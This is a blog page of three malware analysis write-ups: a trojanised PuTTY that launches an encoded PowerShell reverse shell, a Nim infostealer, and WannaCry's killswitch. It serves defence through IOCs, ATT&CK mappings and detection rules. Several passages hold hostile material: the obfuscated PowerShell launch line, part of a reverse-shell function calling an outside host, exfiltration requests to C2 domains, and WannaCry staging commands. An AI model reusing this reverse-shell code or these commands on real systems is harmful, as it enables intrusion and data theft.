DEV Community: Vasilis Mantas

[Boost]

Vasilis Mantas — Mon, 31 Aug 2026 15:05:31 +0000

Vasilis Mantas

Aug 31

A working PuTTY with a reverse shell bolted on

#malware #analysis #cybersecurity #reversing

8 min read

A working PuTTY with a reverse shell bolted on

Vasilis Mantas — Mon, 31 Aug 2026 15:05:16 +0000

Why a trojanised utility is harder to catch than a malicious one, and what actually gives it away

Vasilis Mantas, Threat Detection Engineer

Verdict: A functioning copy of PuTTY, modified to launch a hidden PowerShell process one second after the SSH client opens. The PowerShell command is base64 encoded and gzip compressed. Decoded, it is a reverse shell that connects over TLS to bonus2.corporatebonusapplication.local on port 8443. The SSH client works normally throughout, which is the entire point.

The two samples I wrote up previously announced themselves. One deleted itself. The other encrypted the filesystem and put a ransom note on the desktop. This one does neither. It opens PuTTY, you SSH into whatever you were going to SSH into, and nothing appears to be wrong.

That difference matters more than the technical sophistication, which is honestly not high. The payload here is a fairly standard PowerShell reverse shell of the kind that has been circulating for years. What makes it worth writing about is the delivery: a legitimate tool that still does its job, aimed at people who install SSH clients, which is to say administrators.

As with the previous write-ups, this sample comes from a training set rather than a live incident.

Sample details

Property	Value
MD5	`334a10500feb0f3444bf2e86ab2e76da`
SHA-256	`0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83`
Imphash	`19C1DC3E60E2ECFC2C977BCB2019BBEF`
File size	1,545,216 bytes (1.47 MB)
Architecture	32-bit, GUI subsystem
Compiler timestamp	10 July 2021, 09:51:55 UTC
Entropy	7.394
VirusTotal	50 / 68 vendors flagged at time of analysis
Lab	FlareVM (detonation), REMnux (network simulation)

Basic static analysis

Hashes first, then VirusTotal. Fifty of sixty-eight engines flagged the file, which settles the question of whether it is worth looking at, though not much else.

FLOSS produced a lot of output and very little signal. Over 41,000 strings, dominated by ordinary Windows API calls. There was nothing resembling a C2 address, no obvious command line, no encoded blob sitting in the clear. I spent longer on this than I should have before accepting that the interesting part was not going to be in the strings.

PEStudio was more useful, mostly because of what it did not find.

The manifest identity reads PuTTY. The version resource names Simon Tatham. There is a URL pattern pointing to https://www.chiark.greenend.org.uk/~sgtatham/putty/, which is the genuine PuTTY homepage. Everything about the file's identity says it is PuTTY, and that is because most of it is.

A few things stood out anyway:

Indicator	Detail
Entropy	7.394, high enough to suggest compressed or packed data somewhere in the file
Writable and executable section	1
Embedded file	Compiled HTML in `.rsrc`, offset `0x00121F43`, size 3,255 bytes
Checksum	Invalid. Expected `0x00180BA0`
Blacklisted strings	160
Blacklisted functions	50

The invalid checksum is the one I would call out to a junior analyst. A legitimately built and signed PuTTY release has a valid PE checksum. This one does not, because somebody modified the binary after it was compiled and did not bother to recalculate it. On its own that proves tampering, not malice, but combined with high entropy in a file this size it is enough to justify detonating.

At this point the working hypothesis was simply that the file had been altered. I had no idea how yet.

Dynamic analysis

The first detonation looked completely uneventful. PuTTY launched, the familiar configuration window appeared, and the application behaved exactly as expected. If I had run it once and moved on, I would have called it clean.

On the third or fourth run I noticed a blue window flicker into existence and vanish, roughly a second after PuTTY started. It was on screen for a fraction of a second. This is worth dwelling on: the detection here came from running the sample repeatedly and watching the screen, not from any tool. Automated sandboxing would have caught the process creation, but a human clicking through once might not have caught anything at all.

Procmon confirmed it. Filtering on process name contains putty gave me PuTTY's PID, and filtering again on ParentPID is <that PID> showed the child:

powershell.exe    Process Start    SUCCESS    Parent PID: 8096
powershell.exe    Load Image       C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

PuTTY is an SSH client. It has no legitimate reason to spawn PowerShell, ever. That single parent and child relationship is the whole detection story, and I will come back to it.

The command line was the payload:

powershell.exe -nop -w hidden -noni -ep bypass
"&([scriptblock]::create((New-Object System.IO.StreamReader(
New-Object System.IO.Compression.GzipStream(
New-Object System.IO.MemoryStream(,$([Convert]::FromBase64String('H4sIAOW...

Four flags before anything else happens. No profile, hidden window, no interactive prompt, execution policy bypassed. Each has a plausible individual use. Together, in one command line, they describe something that does not want to be seen or logged in the usual way.

The structure that follows is base64 wrapped around gzip wrapped around a script block. The nesting is not clever, but it does mean the actual payload never appears as readable text in the process command line, which is where a lot of logging stops looking.

Decoding the payload

Copying the base64 blob to REMnux and decoding it:

echo "H4sIAOW/UWECA51W227jNhB991cMHUtIRbhdbAESLepVsGyD..." | base64 -d > out

The result was a gzip archive, which extracted to a plain text PowerShell script. H4sI at the start of a base64 string is the gzip magic number and is a reliable tell once you have seen it a few times.

The script defines a function called powerfun:

function powerfun {
    Param(
        [String]$Command,
        [String]$Sslcon,
        [String]$Download
    )
    Process {
        $modules = @()
        if ($Command -eq "bind") {
            $listener = [System.Net.Sockets.TcpListener]8443
            $listener.start()
            $client = $listener.AcceptTcpClient()
        }
        if ($Command -eq "reverse") {
            $client = New-Object System.Net.Sockets.TCPClient(
                "bonus2.corporatebonusapplication.local", 8443)
        }
        $stream = $client.GetStream()
        if ($Sslcon -eq "true") {
            $sslStream = New-Object System.Net.Security.SslStream(
                $stream, $false, ({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
            $sslStream.AuthenticateAsClient(
                "bonus2.corporatebonusapplication.local")
            $stream = $sslStream
        }

It supports both directions. In bind mode it listens on 8443 and waits for someone to connect. In reverse mode it dials out to a hardcoded host on the same port. Reverse is the mode that matters in a corporate network, since outbound connections generally succeed where inbound ones do not.

The certificate validation callback is set to return true unconditionally. The channel is encrypted, but the client will accept any certificate at all, including a self-signed one generated on the attacker's machine that morning. That is a deliberate choice: TLS here is for hiding the traffic from inspection, not for authenticating anything.

One detail I like about the hostname. bonus2.corporatebonusapplication.local is not random-looking, and it is not trying to impersonate Microsoft or Google. It sounds like exactly the sort of dull internal application nobody questions. An analyst scanning a proxy log for suspicious domains is looking for something that stands out, and this does not.

Confirming the network behaviour

With REMnux running inetsim as a fake DNS resolver, Wireshark showed the DNS query for bonus2.corporatebonusapplication.local, followed immediately by a TCP connection attempt to port 8443. The connection was reset, since nothing was actually listening.

To see what the shell would send, I added the hostname to the Windows hosts file pointing at 127.0.0.1 and started a listener:

ncat -nvlp 8443

The connection came in from 127.0.0.1:1052. The output was mostly unreadable binary, which is expected: this is the raw TLS Client Hello arriving at a plain TCP listener that does not speak TLS. Wireshark confirmed it as TLSv1.2 Client Hello.

The handshake never completed, because I had no certificate to present. Fragments of readable text did come through, including the hostname and the string whoami, which suggests the operator side sends an initial command as soon as the session opens.

I could have gone further here by generating a self-signed certificate and using openssl s_server or ncat --ssl to complete the handshake and capture the full session. I did not, and I would do that differently next time. The behaviour was established well enough to write detections against, but seeing the actual command sequence would have been more useful.

Indicators of compromise

Type	Indicator
SHA-256	`0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83`
MD5	`334a10500feb0f3444bf2e86ab2e76da`
Imphash	`19C1DC3E60E2ECFC2C977BCB2019BBEF`
Domain	`bonus2.corporatebonusapplication.local`
Port	TCP 8443, TLS with certificate validation disabled
Process ancestry	`putty.exe` spawning `powershell.exe`
Command line	`-nop -w hidden -noni -ep bypass` with `FromBase64String` and `GzipStream`
PE anomaly	Invalid checksum on a file identifying itself as PuTTY

MITRE ATT&CK mapping

Tactic	Technique
Initial Access	T1195.002, Supply Chain Compromise: Compromise Software Supply Chain
Execution	T1204.002, User Execution: Malicious File
Execution	T1059.001, Command and Scripting Interpreter: PowerShell
Defense Evasion	T1036.005, Masquerading: Match Legitimate Name or Location
Defense Evasion	T1027, Obfuscated Files or Information
Defense Evasion	T1140, Deobfuscate or Decode Files or Information
Command and Control	T1573.002, Encrypted Channel: Asymmetric Cryptography
Command and Control	T1571, Non-Standard Port

Detection guidance

The hash is worthless the moment someone recompiles. The domain is worthless the moment it is published. Here is what survives.

Process ancestry is the strongest signal by a wide margin. A GUI application spawning a command interpreter is anomalous in almost every case. PuTTY specifically has no legitimate reason to do it. You do not need to understand anything about the payload to catch this.

title: SSH or Remote Access Client Spawning PowerShell
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  parent:
    ParentImage|endswith:
      - '\putty.exe'
      - '\kitty.exe'
      - '\winscp.exe'
      - '\mobaxterm.exe'
  child:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\cmd.exe'
      - '\wscript.exe'
  condition: parent and child
falsepositives:
  - Rare. Investigate every hit.
level: high

Keep the parent list short and specific. The temptation is to expand it to every application on the estate, at which point the rule becomes a general anomaly detector and starts producing noise you will eventually mute.

Encoded PowerShell in a command line. The combination of FromBase64String with GzipStream or DeflateStream is a strong pattern. Legitimate administrative scripting does occasionally base64 encode arguments, but it rarely also compresses them. Requiring both cuts the false positive rate substantially.

Suppressed PowerShell execution flags. Alert on -nop together with -w hidden and -ep bypass appearing in one command line. Any one alone is common. All three together is close to diagnostic, though some legitimate deployment tooling does use them, so check your own estate before enabling this in production.

Outbound TLS to 8443 from an unexpected process. Port 8443 has legitimate uses, so do not alert on the port alone. Alert when the initiating process is a scripting host rather than a browser or a known application.

PE checksum validation on portable utilities. This one is less common but worth considering if you have the telemetry. Administrators download standalone tools constantly, and a mismatch between a file's declared identity and its structural integrity is a cheap thing to check.

All of the above needs testing against your own data before it goes anywhere near production. My false positive assumptions come from the environments I have worked in, not yours.

What I would take from this one

The delivery mechanism was more interesting than the payload, and I think that is generally true of trojanised utilities. Anyone can find a PowerShell reverse shell. Getting an administrator to run it voluntarily, repeatedly, with a working SSH client as cover, is the harder problem, and this sample solves it neatly.

Repeated detonation caught what a single run missed. The PowerShell window was visible for well under a second. That is a genuine argument for detonating several times and watching, rather than executing once and going straight to the logs.

The strings told me almost nothing, and that was itself informative. Over 41,000 strings and no payload visible in any of them meant the malicious component had to be encoded or compressed somewhere. The absence pointed at the answer, just not quickly.

Finally, the sample identified itself as PuTTY in every field an analyst would normally check, and it was telling the truth about most of them. Provenance checks that rely on metadata are weak against this. The checksum and the process behaviour are what actually gave it away.

Written by Vasilis Mantas, Senior Threat Detection Engineer. Analysis performed in an isolated lab using FlareVM, REMnux, FLOSS, PEStudio, Procmon, Wireshark and ncat.

Anatomy of a Nim Infostealer

Vasilis Mantas — Mon, 31 Aug 2026 13:12:04 +0000

Tracing exfiltration and self-deletion through static, dynamic and advanced static analysis

Vasilis Mantas — Threat Detection Engineer

Verdict: A 64-bit Windows infostealer written in Nim. It reads a target file from disk, encrypts the contents with RC4 using a key it collects at runtime, and exfiltrates the ciphertext in chunks over plain HTTP GET requests to a hardcoded C2 domain. It establishes no persistence. Instead it does the opposite, it deletes itself from disk on every exit path, whether it succeeds, fails, or is interrupted.

This walkthrough covers the full triage chain on a single sample: basic static, basic dynamic, and advanced static analysis. The interesting part is not that the binary steals data. It is how thoroughly it removes itself afterwards, and what that leaves behind for a defender to detect.

A note on provenance: this sample comes from a training set, not from a live incident. The methodology and the detection logic are the point, not attribution.

Sample details

Property	Value
MD5	`b9497ffb7e9c6f49823b95851ec874e3`
SHA-256	`3aca2a08cf296f1845d6171958ef0ffd1c8bdfc3e48bdd34a605cb1f7468213e`
File size	546.39 KB
Architecture	x64, EXE
VirusTotal	37 / 69 vendors flagged at time of analysis
Lab	FlareVM (detonation), REMnux (network simulation)

Vendor labels clustered around backdoor and Meterpreter-style naming, which suggested remote access or reverse shell capability. That turned out to be wrong, and it is worth saying so plainly: vendor labels are a starting hypothesis, not a finding. The sample is a stealer, not a backdoor.

Basic static analysis

Running FLOSS against the binary rather than plain strings surfaces stack and obfuscated strings that a naive extraction misses:

FLOSS.exe unknown.exe.malz > output.txt

The output is dominated by nim imports, which is a strong indication the binary was compiled from Nim. That matters practically: Nim binaries carry a large runtime, produce unfamiliar symbol names, and are handled poorly by some decompilers. Knowing the source language early saves an hour of confusion later. The alternative — that an author deliberately salted the strings to look like Nim, is possible but expensive, and nothing later in the analysis supported it.

PEStudio gave the structural picture:

Indicator	Detail
Embedded file	Overlay at offset `0x0006EA00`, size 106,379 bytes
TLS callbacks	2
Section ratio	80.71%
Virtualized section	`.bss`
Manifest identity	`winim`
Suspicious API groups	network (16), execution (20), file (20), memory (20)

The winim manifest identity is the Nim library that wraps the Windows API, consistent with the string evidence. The network and file API clusters are the first hint at the sample's actual function: it touches files and it talks over the network.

Basic dynamic analysis

The first detonation, with no network simulation running, produced an unhelpful result, the binary deleted itself a few seconds after execution.

That behaviour is itself a finding. A sample that removes itself when it cannot reach the network is checking for connectivity and bailing out. It also means every subsequent detonation needs REMnux running inetsim first, or there is nothing to observe.

With inetsim providing fake DNS and HTTP, and Wireshark capturing, the picture filled in. The sample completes a TCP three-way handshake and issues an initial callback:

GET / HTTP/1.1
Host: update.ec12-4-109-278-3-ubuntu20-04.local
User-Agent: Mozilla/5.0

It then begins feeding data to a second URI:

GET /feed?post=A8E437E8F0367592569A2870BBDD382A1DFBB01A15FC23999D7788C33502A...
Host: cdn.altimiter.local

Two details are worth pulling out.

First, the long hexadecimal blob in the query string is the exfiltration channel. Data is not POSTed; it is encoded into a GET parameter and sent in pieces. This is deliberately unremarkable traffic, outbound HTTP GETs to a CDN-looking hostname are exactly what a proxy log is full of.

Second, the initial callback URI does not appear anywhere in the strings output. It is concatenated at runtime. Any detection or hunting approach that relies on matching static strings against known-bad domains would have missed this one entirely.

Procmon then confirmed the file interaction:

Operation is CreateFile, Process Name is unknown.exe
→ C:\Users\Public\passwrd.txt   SUCCESS

Notably absent: no startup folder writes, no Run key modification, no scheduled task, no service creation. The binary establishes no persistence mechanism at all.

Advanced static analysis

Loading the binary into Cutter and searching the symbol table for the toRC4 method seen in the strings output gave the pivot point:

[0x00409ab2]
toRC4__OOZOOZOOZOOZOOZOOnimbleZpkgsZ82675245480490482826752_51 (int64_t arg1, int64_t arg2)
    ...
    call  genKeystream__OOZOOZOOZOOZOOZOOnimbleZpkgs...

RC4 is a stream cipher, so its presence tells us the exfiltrated data is encrypted rather than sent in the clear. That explains the hex blob in the GET parameter.

Following the cross-references, toRC4 is called from a method named StealStuff, and the call sits inside a loop. That single structural observation explains the traffic pattern: the sample reads its target, encrypts it in chunks, and sends each chunk as a separate request. The loop in the disassembly and the repeated GETs in the packet capture are the same behaviour viewed from two angles.

The key comes from C:\Users\Public\passwrd.txt, which contains the single string SikoMode, the RC4 passphrase, read from disk at runtime rather than embedded in the binary.

The killswitch and the self-delete

Nim binaries expose three entry-adjacent methods: NimMain, NimMainInner and NimMainModule. The interesting logic lives in NimMainModule:

[0x00417913]
call  nosgetCurrentDir
lea   rcx, [0x00439c58]
call  asgnRef
call  checkKillSwitchURL__sikomode_25
mov   byte [0x00439be4], al
test  al, al
jne   0x417940

checkKillSwitchURL returns a boolean. If the URL is unreachable, execution branches to a method named houdini, appropriately, since it makes the binary disappear.

Tracing the graph further shows houdini is not only reached on failure. It is called when the DNS request fails on execution, when execution is interrupted at any point, and when the sample finishes exfiltrating everything it was written to collect. Every path terminates in self-deletion.

This is a deliberate anti-forensic design. The operator accepts losing reinfection capability in exchange for leaving no binary on disk for a responder to find. It reframes what detection has to look for.

Indicators of compromise

Type	Indicator
SHA-256	`3aca2a08cf296f1845d6171958ef0ffd1c8bdfc3e48bdd34a605cb1f7468213e`
MD5	`b9497ffb7e9c6f49823b95851ec874e3`
Domain	`update.ec12-4-109-278-3-ubuntu20-04.local` (runtime-concatenated)
Domain	`cdn.altimiter.local`
URI pattern	`/feed?post=<hex>`
File	`C:\Users\Public\passwrd.txt`
Behaviour	Self-deletion of the executing binary on all exit paths

MITRE ATT&CK mapping

Tactic	Technique
Discovery	T1083 — File and Directory Discovery
Collection	T1005 — Data from Local System
Command and Control	T1071.001 — Application Layer Protocol: Web Protocols
Command and Control	T1132.001 — Data Encoding: Standard Encoding
Exfiltration	T1041 — Exfiltration Over C2 Channel
Defense Evasion	T1070.004 — Indicator Removal: File Deletion
Defense Evasion	T1027 — Obfuscated Files or Information

Detection guidance

Most write-ups stop at the IOC table. IOCs age badly — the hash changes on recompile and the domains are burned the moment they are published. The behaviour is what persists, so here is what to actually detect.

1. Self-deletion of a running executable. The strongest signal, because it is unusual for benign software and this sample does it unconditionally. The canonical implementation is a process spawning a command interpreter that deletes the parent's own image path.

title: Executable Deletes Itself After Execution
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
    CommandLine|contains:
      - 'del '
      - 'Remove-Item'
  parent_in_temp:
    ParentImage|contains:
      - '\Users\'
      - '\Temp\'
  condition: selection and parent_in_temp
falsepositives:
  - Installers and self-extracting archives cleaning up
level: medium

2. High-entropy data in outbound HTTP GET query parameters. The exfiltration channel is a long hex string in a URI. Proxy or firewall logs will show it. Threshold on query-string length and character-class distribution rather than on the domain, since the domain is disposable.

3. Unexpected reads of files in C:\Users\Public. The sample sourced its encryption key from a world-readable location. That directory is rarely touched by legitimate user processes and makes a low-noise hunting ground.

4. Beacon-shaped repetition. The chunked exfiltration produces many similar-length requests to one host in a short window. Summarising outbound requests by destination and counting near-identical URI structures surfaces this regardless of what the domain is called.

Detection hypotheses need validating against your own telemetry before they go into production. Treat the rule above as a starting point and tune the parent-process conditions to your environment.

Analyst takeaways

Three things from this sample are worth carrying forward.

Vendor labels are a hypothesis. Thirty-seven engines suggested backdoor. The sample is a stealer with no remote access capability whatsoever. Reading the labels as a conclusion would have sent the entire analysis in the wrong direction.

Absence of persistence is a finding, not a dead end. When a sample deliberately leaves nothing behind, detection has to move up the stack, to network behaviour and to the act of removal itself.

Runtime string construction defeats static matching. The first C2 domain existed nowhere in the binary. Any pipeline that only diffs extracted strings against a blocklist would have reported this file as clean on that dimension.

Written by Vasilis Mantas, Senior Threat Detection Engineer. Analysis performed in an isolated lab using FlareVM, REMnux, FLOSS, PEStudio, Wireshark, Procmon and Cutter.

WannaCry, Reopened

Vasilis Mantas — Mon, 31 Aug 2026 13:08:37 +0000

What a modern triage of a 2017 ransomware sample teaches about killswitch logic and staging behaviour

Vasilis Mantas — Threat Detection Engineer

Verdict: WannaCry checks a hardcoded URL before doing anything destructive. If the URL responds, the sample exits without encrypting. If it cannot be reached, encryption proceeds. This inverted logic is the single most instructive thing in the binary, and it is easy to get backwards — including in a lab, where a network simulator that answers every request will silently prevent the malware from detonating at all.

WannaCry has been analysed exhaustively since May 2017. This walkthrough is not an attempt to say something new about the campaign. It is a demonstration of triage method on a sample whose ground truth is already known, which makes it a useful benchmark: every conclusion below can be checked against the public record.

The analysis was performed in an isolated lab with no route to the internet.

Surface behaviour

Detonating the sample produces the outcome the sample is famous for. Files across the system are renamed with a .WNCRY extension, a ransom interface titled Wana Decrypt0r 2.0 appears demanding $600 in Bitcoin, and the desktop wallpaper is replaced with a plaintext version of the same message.

A practical note for anyone running this in a lab: several FlareVM analysis tools become unusable after detonation, because their own files are encrypted along with everything else. Snapshot before, not after.

Basic static analysis

Extracting strings with FLOSS, filtering short noise:

FLOSS.exe -n 7 Ransomware.wannacry.exe.malz > outputstrings.txt

The DOS header string !This program cannot be run in DOS mode. appears multiple times. A PE header appearing more than once inside a single file means embedded executables, and each occurrence is followed by a distinct set of DLL imports — a different API surface per embedded binary. PEStudio confirmed three packed binaries in total.

The remaining strings are unusually generous:

cmd.exe /c "%s"
115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
Global\MsWinZonesCacheCounterMutexA
tasksche.exe
TaskStart
icacls . /grant Everyone:F /T /C /Q
attrib +h .
C:\%s\qeriuwjhrf
C:\%s\%s
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

Three Bitcoin wallets, a named mutex, a dropped executable name, two format-string paths, and one conspicuously random-looking domain. The icacls and attrib commands grant everyone full control over a directory tree and hide it — staging behaviour, visible before a single instruction is executed.

The import table reinforces the picture. CryptGenRandom and CryptAcquireContextA for key generation. A dense block of ws2_32.dll socket functions — socket, connect, send, recv, WSAStartup — alongside GetAdaptersInfo, indicating network enumeration and self-propagation. InternetOpenA and InternetOpenUrlA from wininet.dll, which turn out to matter more than anything else in the list.

Dynamic analysis, and a lab trap

The second detonation was run with REMnux providing inetsim as a fake DNS resolver and HTTP responder. The sample did nothing. No encryption, no ransom note, no filesystem activity of consequence.

That is not a broken sample. It is the killswitch working.

When inetsim answers the request to iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com with a 200 OK, WannaCry concludes the domain is live and exits. In the first detonation, with no simulator running, the request failed, the sample concluded the domain was unregistered, and it encrypted the filesystem.

The consequence for analysts is worth stating directly. A generic network simulator that returns success for every request will suppress this sample's entire payload. An analyst who only ever detonates with full simulation would conclude the binary is inert.

With the payload allowed to run, TCPView showed the propagation attempt: a large volume of TCP SYN packets to sequential and apparently random addresses on port 445, the SMB service port — the sample scanning for further hosts to infect. A second listener appeared, taskhsvc.exe bound to 127.0.0.1:9050, the Tor SOCKS port, providing the anonymised channel back to the operators.

Procmon, filtered on the sample's process name and CreateFile, showed the drop:

Ransomware.wan... → C:\Windows\tasksche.exe   SUCCESS

followed in the process tree by tasksche.exe executing with the argument /i. Filtering again on the new PID revealed the staging directory:

C:\ProgramData\dveqybpwqzws072\
    msg\                      TaskData\
    @Please_Read_Me@.txt      @WanaDecryptor@.exe
    00000000.eky              00000000.pky        00000000.res
    b.wnry  c.wnry  f.wnry  r.wnry  s.wnry  t.wnry  u.wnry
    taskdl.exe                taskse.exe

The C:\%s\%s format string from the strings output is now explained: the directory name is generated at runtime, which is why the folder is dveqybpwqzws072 here and something else elsewhere. A service is created bearing the same random name — the persistence mechanism.

Advanced static analysis

Loading the binary into Cutter and navigating to main puts the killswitch logic on screen in a dozen instructions:

0x0040814a   mov  esi, str.http:__www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
0x0040817b   call dword [InternetOpenA]
0x00408194   call dword [InternetOpenUrlA]
0x0040819a   mov  edi, eax
0x004081a3   test edi, edi
0x004081a5   jne  0x4081bc

The decompiler view is clearer still:

eax = InternetOpenUrlA(esi, ecx, 0, 0, 0x84000000, 0);
edi = eax;
esi = *(InternetCloseHandle);
if (edi == 0) {
    (*esi)();
    (*esi)(0);
    eax = fcn_00408090();
    eax = 0;
    return eax;
}

InternetOpenUrlA returns a handle, or NULL on failure. The handle lands in edi, and test edi, edi sets the zero flag only when the call failed.

The branch is therefore: handle is NULL — the domain did not resolve — call fcn_00408090, the encryption routine. Handle is valid — the domain responded — close the handles, clean up the stack, return.

The graph view makes the asymmetry obvious. One path is labelled normal execution and leads into the encryption function. The other is a short exit stub. The condition separating them is a single test on the result of a web request.

Registering that domain is what stopped the campaign in 2017. The disassembly above is the mechanism, in six instructions.

Indicators of compromise

Type	Indicator
Killswitch domain	`iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com`
Mutex	`Global\MsWinZonesCacheCounterMutexA`
Dropped file	`C:\Windows\tasksche.exe` (executed with `/i`)
Staging path	`C:\ProgramData\<random>\` containing `.wnry` files
Dropped tools	`taskdl.exe`, `taskse.exe`, `@WanaDecryptor@.exe`
Ransom note	`@Please_Read_Me@.txt`
Extension	`.WNCRY`
Network	Mass outbound SYN to TCP/445
Network	Local listener on `127.0.0.1:9050` (Tor)
BTC	`115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn`
BTC	`12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw`
BTC	`13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94`

MITRE ATT&CK mapping

Tactic	Technique
Execution	T1106 — Native API
Persistence	T1543.003 — Create or Modify System Process: Windows Service
Defense Evasion	T1564.001 — Hide Artifacts: Hidden Files and Directories
Defense Evasion	T1222.001 — File and Directory Permissions Modification
Discovery	T1046 — Network Service Discovery
Lateral Movement	T1210 — Exploitation of Remote Services
Command and Control	T1090.003 — Proxy: Multi-hop Proxy (Tor)
Impact	T1486 — Data Encrypted for Impact
Impact	T1490 — Inhibit System Recovery

Detection guidance

The hashes and the killswitch domain have limited value now. The behavioural sequence does not.

1. Permission-widening plus attribute-hiding on a freshly created directory. The icacls . /grant Everyone:F /T /C /Q and attrib +h . pair is staging behaviour that predates encryption. Catching it means catching the sample before impact, which is the only detection that actually matters for ransomware.

title: Mass Permission Grant Followed by Directory Hiding
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  icacls:
    Image|endswith: '\icacls.exe'
    CommandLine|contains|all:
      - '/grant'
      - 'Everyone:F'
      - '/T'
  attrib:
    Image|endswith: '\attrib.exe'
    CommandLine|contains: '+h'
  condition: icacls or attrib
falsepositives:
  - Some software installers and backup agents
level: high

Correlate the two within a short window on one host rather than alerting on either alone — that is what separates a real staging sequence from routine installer noise.

2. Executable written to C:\Windows\ by a non-system process, then executed. A user-context process dropping a binary directly into the Windows directory and launching it is a narrow, high-value pattern.

3. Outbound SMB scanning from a workstation. A single host opening connections to TCP/445 across many destinations in a short window is almost never legitimate on an endpoint. Threshold on distinct destination count per source per minute.

4. Local Tor SOCKS listener. A process binding 127.0.0.1:9050 is worth an alert in any enterprise that has not deliberately deployed Tor.

5. Suspicious process spawning cmd.exe /c. Present here, and generic enough to earn its place in any ruleset — with the tuning that implies.

Analyst takeaways

Environment shapes behaviour, so vary the environment. The single most important finding in this analysis only appeared because the sample was detonated both with and without network simulation. One configuration produced a functioning ransomware; the other produced an inert file. Detonating once tells you what a sample does under one set of conditions, not what it does.

Strings foreshadow structure. icacls, attrib, C:\%s\%s and tasksche.exe were all visible before execution, and each was confirmed by dynamic analysis. Reading strings carefully turns dynamic analysis into confirmation rather than exploration.

The decisive logic is often tiny. The behaviour that defined a global incident reduces to one API call, one test, and one conditional jump. Finding that block took longer than understanding it — which is usually how reverse engineering goes.

Written by Vasilis Mantas, Senior Threat Detection Engineer. Analysis performed in an isolated lab using FlareVM, REMnux, FLOSS, PEStudio, PEview, Wireshark, Procmon, TCPView and Cutter.